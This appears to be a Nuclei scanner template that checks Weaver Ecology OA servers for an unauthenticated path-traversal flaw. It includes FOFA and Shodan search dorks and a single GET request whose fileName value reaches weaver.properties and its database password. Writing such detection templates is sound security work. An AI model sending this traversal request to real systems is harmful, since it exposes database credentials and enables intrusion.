id: ecology-info-leak info: name: Ecology - Information Exposure author: qianbenhyu severity: high description: | The "ecology" component exposes a file that contains sensitive database credentials (dbuser/dbpass). reference: - https://github.com/xinyisleep/pocscan/blob/main/%E6%B3%9B%E5%BE%AE/oa%E6%B3%9B%E5%BE%AE0day%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.py metadata: fofa-dork: app="泛微-协同办公OA" shodan-dork: ecology_JSessionid verified: true max-request: 1 tags: ecology,unauth,misconfig http: - method: GET path: - "{{BaseURL}}/api/portalTsLogin/utils/getE9DevelopAllNameValue2?fileName=portaldev_%2f%2e%2e%2fweaver%2eproperties" matchers: - type: word part: body words: - "ecology.password" - "ecology.charset" condition: and - type: status status: - 200